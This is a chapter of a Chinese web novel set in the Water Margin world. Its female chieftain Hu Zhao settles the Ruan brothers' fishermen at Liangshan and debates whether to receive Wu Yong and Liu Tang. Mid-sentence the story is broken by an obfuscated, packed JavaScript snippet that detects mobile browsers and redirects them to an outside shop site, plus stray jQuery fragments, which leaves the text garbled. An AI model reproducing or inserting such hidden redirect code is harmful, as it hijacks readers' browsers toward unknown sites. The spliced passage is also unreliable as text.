30. 加亮

作品:《在水浒中做女帝

    日上三竿,金沙滩头一派喧腾。


    阮母被阮小二搀扶着晃悠悠下了船,后面跟着带了儿子的刘氏。


    阮大郎牵了母亲的手,好奇地瞪大眼四处瞧看。在他身后,是热闹闹近百条生龙活虎的渔村汉子。


    或高或矮,或细或圆,或身背渔网,或肩扛木桨,个个精神抖擞志气昂扬。


    阮小七早迎在岸边,见着母兄,咧嘴大笑,忙前忙后地招呼。问另一哥哥怎还没来,阮小二跟他低声道了取消“买卖”一事,又说天黑赶到。


    这般兴师动众,早有哨探报上山去。


    不多时,扈昭和王进、朱贵等人下山相看。


    见阮氏兄弟果然没扯大话,竟真一呼百应,带来这许多生力军,扈昭心中去了几分对阮氏兄弟的偏见,心里已是同意他们入伙儿。


    她先向阮母恭敬施礼,口称“婆婆路上辛苦”,又温言安抚了略显紧张的刘氏与那圆头娃娃,随即令朱贵即刻安排妥帖住处。


    人家诚意十足,总不能还真让他们自个儿盖房?


    吸取宋江仗义疏财、笼络人心经验,扈昭言笑晏晏,又当即让朱贵给阮家兄弟,和他们带来的人大发入伙儿安置钱银。


    又问阮小五何在,阮小二只道弟弟处理私商琐碎、变卖家产,稍后便到,不劳烦寨主亲迎,后面派个人接上去就行。


    扈昭点头,还以为因她不喜欢赌博,那小五真就不来了呢?


    随即一道上山,渔村来众见过梁山众头目,听了大头领扈昭简单开场致辞后,又是好一顿你来我往的迎新酒席。


    吃饱喝足,便是熟悉环境,然后各进了安排好的住处,安生歇息半晌。


    转眼便至傍晚时分。


    亲自又下山迎了急忙赶来的阮小五后,扈昭提袖执笔,边随口亲切问询,边将渔村来人的信息一个个整齐登记在梁山名册上。将大部分人暂时编入水师队伍,由阮家兄弟统帅训练。


    愿参与“水产经营”探路的几个,则由杜迁领着去熟悉规划中的水域。


    众人见寨主今日又是亲自迎接,又是安排周到事无巨细,还如此言语行动关怀备至,甚至记录下他们的衣鞋尺寸,恨不得现在便为他们置办好一切衣食住行……


    心中哪儿还有什么忐忑不安?嘈杂声中尽透着兴奋,和对以后的期待了。


    阮氏三雄尤其面上光鲜,内心开怀,亦皆感叹他们昨日实在当机立断,慧眼识珠跟对了主公。


    ——今日先见扈昭行事爽利周全,非但全不计较苇荡中冒犯试探之事,反待他们及其家小亲厚周到。


    待得上山,举目所见,一应梁山事务虽尚在草创,却毫无杂乱之象,人人忙碌有序,样样秩序井然。


    再看那几个头领:又有东京八十万禁军都教头王进,又有拳打镇关西的鲁提辖,又有个智计不输吴教授的刘娘子,听说还有个外出的陈娘子更是万中无一的“好汉”,可惜上山迟了无缘得见。


    真是个个非等闲啊,如今都汇聚于扈头领麾下,连那几个旧头领都被其深深折服、鞍前马后……


    咱们的寨主,真有通天大本事呐!听说人家母亲还姓赵!


    等见了扈三娘、扈成,三阮更是喜上又喜:咱这山寨果真不俗,竟与那赫赫有名的独龙冈三庄关联紧密,守望相助!


    有此强援,财源粮秣便有了稳固根基,不复寻常山寨那般朝不保夕。梁山进可纵横水泊,退可依凭三庄屏护,实乃一处难得的攻守兼备的基业。


    往日在石碣村中,虽仗着水性称雄一方,终究是池中之物,难见大天。如今机缘巧合,得遇明主,窥见这般格局气象,如何能不叫人热血涌动?


    但热血激动太过分了,三人直到天黑得深沉也睡不着,辗转难眠到凌晨,天还迟迟不见亮。


    而扈昭独自一人裹着被子睡得正黑甜时,却在凌晨突然被从梦中唤醒。


    有人来报:“金沙滩外来了两人求见。一人眉清目秀,秀才打扮,自称智多星吴用前来拜山。另一个面生朱砂记,赤发虬髯,身材魁伟,说是吴先生伴当,姓刘名唐。”


    扈昭从床上翻起,大喊:“不见!”


    她正梦爹妈呢,这吴用早不来晚不来,偏偏此时搅人好梦,实在过分!


    她读原著时,就觉得吴用此人有些土匪瘾,此番只要上得山来,扯来扯去,最后目的必是要入伙儿。


    但他智计虽高,手段却趋于阴毒,可称为达目的不择手段,且其心中自有丘壑,未必甘居人下。


    他若上山,梁山或许会快速广增兵将,但增加的人,恐怕多半会与自己结下暗仇来。


    但……


    住在隔壁的刘慧娘闻声已来到门外,拦了外面传令人,轻声道:“寨主莫急着下令,慧娘有言。”


    扈昭无奈,只得披衣起身,让她进来。


    刘慧娘进门见扈昭面色不豫,不知缘由,温言问:“二郎,如今梁山草创,百事待举,正是广纳贤才、积蓄力量之时,怎的却不见这二人?”


    扈昭也不隐瞒:“此智多星吴用,我知他人,最好权谋机变,惯于火中取栗,面上良善而暗里狠辣,与我寨所求的同心明正之道,恐难相容。刘唐亦是晁盖心腹,牵连颇深。见之无益,徒惹麻烦。”


    刘慧娘沉吟片刻,缓声道:“我明白了,二郎虽心存远志,但心地正直,见不得那人的心术手段。”


    她停了一下,坐到榻边,扈昭一见她动作,便知要劝自己了,而且是必劝下不可。


    遂正襟危坐,果然……


    “那吴用既有‘智多星’之名,想必于江湖绿林中有些声望。他若真心来投,你却拒之门外,恐怕寒了其他欲投效者之心,显得我梁山心胸狭隘,不能容人。另则,若他因此心生怨怼,转投他处他人,日后岂非成我山寨劲敌?”


    见扈昭脑袋清明了些,刘慧娘继续循循善诱:“军师谋士,自是多多益善。山寨欲成大事,岂能只凭一两人之智?”


    “慧娘不才,蒙寨主信重,掌参赞机要。吴用若来,其才可用于外事谋划、应对机变,亦可置于慧娘之下,以寨规约束、实务磨勘。”


    “他纵有千般心思,入我瓮中,其智为我等所用,岂不比将他推至对面,日夜提防要好?”


    是啊,吴用即便手段诡谲下作,既上梁山,能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042867|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用这些手段帮助自己,总比恶毒地对付自己要好。而且自古以来,要登临高位,自身不狠,麾下也断断少不了几个狠人。


    此刻未见其人,未闻其言,便因原著几段文字描述拒之门外,实非智者所为。


    排斥感终被刘慧娘这番理性分析压下,扈昭平声静气,对外面道:“快请两位好汉上山。”


    便即刻盥洗更衣,重新振作精神。


    另一边客房的扈三娘听到动静,这时也敲起她门来。


    进门便是:“我不想让那吴用上二郎的梁山!”


    “三娘子认识他?”刘慧娘对她突如其来的语言,不是很理解。


    扈三娘咬牙:“我、我……我恨他无有大才,却自比诸葛。”


    她当然见过那厮,不过是梦中见的。


    还自叫什么“加亮先生”?要比孔明更“亮”,分明心比“孝义黑三郎”的脸面还黑。


    呵——若那厮上了梁山,之后再见到宋江,怕是会当即背叛二郎,转投了他那及时雨好哥哥。


    “三娘先稳住心境。”扈昭虽不明白妹妹对吴用的抵触何来,但也感受到她的情绪十分不妙,抚了她背忙安抚。


    见扈三娘脸色好转,这才道:“非常之时,我作为一寨之主,当有非常之量。吴用其人性情手段,日久自然可见分晓。若他真个不堪造就,或包藏祸心,即便不能名正言顺依寨规处置他,我也能神不知鬼不觉地杀了他,你知道我本事。”


    刘慧娘在旁调节气氛:“三娘和二郎也相似,皆是性情中人,我平素亦称个女诸葛,不过是借了孔明先生名望,好教自己闻名江湖,谋个出路罢了。我等谋士,又哪个不是‘诸葛’呢?总不好叫了臭皮匠去。”


    扈三娘勉强一笑。


    也罢,大不了之后吴用和宋江看对眼时,她偷摸着两个一道射杀,也是一石二鸟为二郎除去后患。


    如此计议已定,三个同去共食堂,与昨日新进的水军们一道用了早食,转回聚义厅时,吴用、刘唐两个正被朱贵引了过来。


    一个是从容儒生模样,鹅毛扇轻摇。


    另个赤发健硕豪放的,则毫不掩饰地观察四周,待目光落到三人身上时,一双怪眼登时瞪大:这寨主竟是个好女色的,不成事儿!不成事儿!


    “郓城晚学吴用,见过扈寨主,见过二位头领娘子。”吴用拱手,“此是某同乡刘唐兄弟,诨名‘赤发鬼’。”


    刘唐也跟着潦草拱了拱,嘴里哼哼两声。


    “吴教授,刘义士,不必多礼。”扈昭礼迎两人进厅入坐,开门见山道,“二位远道而来,不知有何见教?”


    吴用扯了刘唐坐好,笑道:“见教万不敢当,吴某与刘唐兄弟久闻梁山泊大名,近日更听得山寨革新气象,心生向往。又闻故友阮氏昆仲亦投了此处,因此特来拜会,既为叙些旧谊,也想亲眼见识寨里风范。”


    扈昭也笑:“加亮先生之名,昭亦是早有耳闻,早想与先生亲面一叙,只是诸事缠身无缘相会。今日先生愿来梁山盘桓,实乃昭三生之幸。只是同心寨新立未久,诸事粗糙,先生大才,一路见了山寨眼下光景,可有甚么高见?”